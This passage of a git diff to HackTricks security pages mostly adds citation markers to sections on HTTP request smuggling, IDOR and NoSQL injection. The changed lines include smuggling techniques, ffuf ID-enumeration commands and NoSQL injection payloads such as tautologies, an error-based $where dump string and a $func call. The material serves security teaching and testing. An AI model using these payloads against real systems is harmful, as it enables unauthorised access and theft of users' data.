offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**. +However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.[[14]](#references) #### Breaking the web server This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**. -For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**. +For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.[[19]](#references) #### Forcing via hop-by-hop headers @@ -252,7 +252,7 @@ For **more information about hop-by-hop headers** visit: ## Finding HTTP Request Smuggling -Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities: +Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:[[2]](#references) ### Finding CL.TE Vulnerabilities Using Timing Techniques @@ -338,7 +338,7 @@ When testing for request smuggling vulnerabilities by interfering with other req ## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling -Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync. +Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.[[10]](#references) ### Why pipelining creates classic false positives @@ -408,7 +408,7 @@ Impact: none. You just desynced your client from the server framing. ### Connection‑locked request smuggling (reuse-required) -Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact: +Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:[[12]](#references) - Prove the server-side bug - Use the HTTP/2 nested-response check, or - Use partial-requests to show the FE only reuses upstream when the client does. @@ -451,7 +451,7 @@ browser-http-request-smuggling.md ### Circumventing Front-End Security via HTTP Request Smuggling -Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions. +Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.[[3]](#references) Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy: @@ -498,7 +498,7 @@ Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encod ### Revealing front-end request rewriting -Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: `, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**. +Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: `, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.[[3]](#references) To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following: @@ -531,7 +531,7 @@ This method primarily serves to understand the request modifications made by the It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished: -By appending the following request as the value of a parameter, you can store the subsequent client's request: +By appending the following request as the value of a parameter, you can store the subsequent client's request:[[3]](#references) ``` POST / HTTP/1.1 @@ -604,11 +604,11 @@ By manipulating the `User-Agent` through smuggling, the payload bypasses normal The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body. -In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`. +In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.[[19]](#references) ### Exploiting On-site Redirects with HTTP Request Smuggling -Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash: +Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:[[3]](#references) ``` GET /home HTTP/1.1 @@ -658,7 +658,7 @@ In this scenario, a user's request for a JavaScript file is hijacked. The attack ### Exploiting Web Cache Poisoning via HTTP Request Smuggling -Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**. +Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.[[3]](#references) Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS). @@ -697,7 +697,7 @@ Subsequently, any request for `/static/include.js` will serve the cached content > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. -The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example: +The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:[[3]](#references) ```markdown `POST / HTTP/1.1`\ @@ -714,7 +714,7 @@ If this smuggled request poisons a cache entry intended for static content (e.g. ### Abusing TRACE via HTTP Request Smuggling -[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example: +[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response.[[8]](#references) For example: ``` TRACE / HTTP/1.1 @@ -743,7 +743,7 @@ This response will be sent to the next request over the connection, so this coul Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request. -Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning). +Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).[[8]](#references) Example: @@ -818,7 +818,7 @@ request-smuggling-in-http-2-downgrades.md ### CL.TE -From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) +From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)[[20]](#references) ```python def queueRequests(target, wordlists): @@ -861,7 +861,7 @@ def handleResponse(req, interesting): ### TE.CL -From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) +From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)[[21]](#references) ```python def queueRequests(target, wordlists): @@ -929,7 +929,7 @@ The front-end parses only the first request, then forwards the rest as raw bytes - Reach internal-only endpoints that trust the reverse proxy IP. - Trigger cross-user response queue poisoning on reused backend connections. -When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`. +When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`.[[16]](#references) ### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback @@ -980,7 +980,7 @@ The important audit checks are: - Can you force **HTTP/1.0** to trigger a read-until-close body mode? - Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself. -This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**. +This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**.[[17]](#references) ### Related cache poisoning primitive: path-only cache keys @@ -996,7 +996,7 @@ GET /api/data HTTP/1.1 Host: victim.com ``` -If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**. +If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**.[[18]](#references) When reviewing caches, confirm that the key includes at least: @@ -1017,24 +1017,27 @@ When reviewing caches, confirm that the key includes at least: ## References -- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) -- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) -- [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) -- [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) -- [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) -- [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) -- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) -- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) -- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) -- [https://http1mustdie.com/](https://http1mustdie.com/) -- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) -- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) -- [https://xclow3n.github.io/post/6/](https://xclow3n.github.io/post/6/) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) -- [https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) +- [1] [PortSwigger Web Security Academy - HTTP request smuggling](https://portswigger.net/web-security/request-smuggling) +- [2] [PortSwigger Web Security Academy - Finding HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding) +- [3] [PortSwigger Web Security Academy - Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting) +- [4] [HTTP Request Smuggling in Plain English](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) +- [5] [HTTP-Desync-Attack (haroonawanofficial)](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) +- [6] [HTTP Request Smuggling CL.TE (memN0ps)](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) +- [7] [HTTP request smuggling via higher HTTP versions (PHDays 10)](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) +- [8] [PortSwigger Research - TRACE desync attack](https://portswigger.net/research/trace-desync-attack) +- [9] [Bugcrowd - Unveiling TE.0 HTTP Request Smuggling: Discovering a Critical Vulnerability in Thousands of Google Cloud Websites](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- [10] [Beware the false false-positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- [11] [HTTP/1.1 Must Die](https://http1mustdie.com/) +- [12] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [13] [PortSwigger Web Security Academy - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- [14] [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) +- [15] [xclow3n - HTTP Request Smuggling write-up](https://xclow3n.github.io/post/6/) +- [16] [Cloudflare Pingora - HTTP Request Smuggling via Premature Upgrade (GHSA-xq2h-p299-vjwv)](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv) +- [17] [Cloudflare Pingora - HTTP Request Smuggling via HTTP/1.0 and Transfer-Encoding Misparsing (GHSA-hj7x-879w-vrp7)](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7) +- [18] [Cloudflare Pingora - Cache poisoning via insecure-by-default cache key (GHSA-f93w-pcj3-rggc)](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc) +- [19] [Twisty Python (Werkzeug HTTP request smuggling write-up)](https://mizu.re/post/twisty-python) +- [20] [HTTP Request Smuggling + IDOR (hipotermia)](https://hipotermia.pw/bb/http-desync-idor) +- [21] [Account takeover via HTTP Request Smuggling (hipotermia)](https://hipotermia.pw/bb/http-desync-account-takeover) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md index fd8bec4309f..3ae7b3113eb 100644 --- a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md +++ b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md @@ -2,22 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin. +Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin.[[1]](#references) Key constraints and tips - Only use headers and syntax that a browser can emit via navigation, fetch, or form submission. Header obfuscations (LWS tricks, duplicate TE, invalid CL) generally won’t send. - Target endpoints and intermediaries that reflect inputs or cache responses. Useful impacts include cache poisoning, leaking front-end injected headers, or bypassing front-end path/method controls. - Reuse matters: align the crafted request so it shares the same HTTP/1.1 or H2 connection as a high-value victim request. Connection-locked/stateful behaviors amplify impact. - Prefer primitives that do not require custom headers: path confusion, query-string injection, and body shaping via form-encoded POSTs. -- Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check. +- Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check.[[3]](#references) For end-to-end techniques and PoCs see: - PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks - PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync ## References -- [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) -- Distinguishing pipelining vs smuggling (background on reuse false-positives): https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling + +- [1] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- [2] [PortSwigger Web Security Academy - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- [3] [Beware the false false-positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 3f939e4a251..cc2176433e6 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -16,7 +16,7 @@ Successful exploitation normally allows horizontal or vertical privilege-escalat 2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. 4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. -5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR. +5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.[[3]](#references) ### Quick manual tampering (Burp Repeater) ``` @@ -50,14 +50,14 @@ ffuf -u http://file.era.htb/download.php?id=FUZZ \ jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys ``` -* `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material). +* `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).[[5]](#references) * The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs. --- ### Authenticated combinatorial enumeration (ffuf + jq) -Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie: +Some IDORs accept **multiple object IDs** (e.g., chat threads between two users).[[6]](#references) If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie: ```bash ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \ @@ -91,7 +91,7 @@ ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -fr 'User not found' ``` -Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage. +Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.[[4]](#references) --- ## 2. Real-World Case Study – McHire Chatbot Platform (2025) @@ -102,7 +102,7 @@ During an assessment of the Paradox.ai-powered **McHire** recruitment portal the * Authorization: user session cookie for **any** restaurant test account * Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier -By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records. +By decreasing `lead_id` the tester retrieved arbitrary applicants’ **full PII** (name, e-mail, phone, address, shift preferences) plus a consumer **JWT** that allowed session hijacking. Enumeration of the range `1 – 64,185,742` exposed roughly **64 million** records.[[1]](#references) Proof-of-Concept request: ```bash @@ -115,7 +115,7 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces ### Case Study – Wristband QR codes as weak bearer tokens (2025–2026) -*Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**. +*Flow:* Exhibition visitors received QR-coded wristbands; scanning `https://homeofcarlsberg.com/memories/` let the browser take the **printed wristband ID**, hex-encode it, and call a `cloudfunctions.net` backend to fetch stored media (photos/videos + names). There was **no session binding** or user authentication—**knowledge of the ID = authorization**.[[7]](#references) *Predictability:* Wristband IDs followed a short pattern such as `C-285-100` → ASCII hex `432d3238352d313030` (`43 2d 32 38 35 2d 31 30 30`). The space was estimated at ~26M combinations, trivial to exhaust online. @@ -166,11 +166,12 @@ for band_id in ["C-285-100", "T-544-492"]: ## References -* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) -* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -* [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -* [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html) -* [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/) + +- [1] [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) +- [2] [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) +- [3] [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +- [4] [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [5] [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html) +- [6] [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html) +- [7] [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 7379e7eedce..8d242cb1ddc 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -41,7 +41,7 @@ username[$exists]=true&password[$exists]=true query = { $where: `this.username == '${username}'` } ``` -An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`. +An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.[[3]](#references) ``` Normal sql: ' or 1=1-- - @@ -92,7 +92,7 @@ in JSON ### PHP Arbitrary Function Execution -Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). +Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).[[10]](#references) ```python "user":{"$func": "var_dump"} @@ -128,7 +128,7 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference ### Error-Based Injection -Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example: +Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors).[[5]](#references) Example: ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } @@ -142,7 +142,7 @@ If the application only leaks the first failing document, keep the dump determin ### Beating pre/post conditions in syntax injection -When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions. +When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.[[8]](#references) In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses: @@ -169,17 +169,17 @@ This trick is parser-dependent and only applies when the application assembles J ## Recent CVEs & Real-World Exploits (2023-2025) ### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 -Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators. +Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.[[6]](#references) ### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061 -If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`. +If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.[[7]](#references) ```js // Dangerous: attacker controls the full match object Post.find().populate({ path: 'author', match: req.query.author }); ``` -Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping: +Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:[[9]](#references) ```js mongoose.set('sanitizeFilter', true); @@ -337,13 +337,14 @@ for u in get_usernames(""): ## References -- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) -- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) -- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) -- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) -- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) -- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) -- 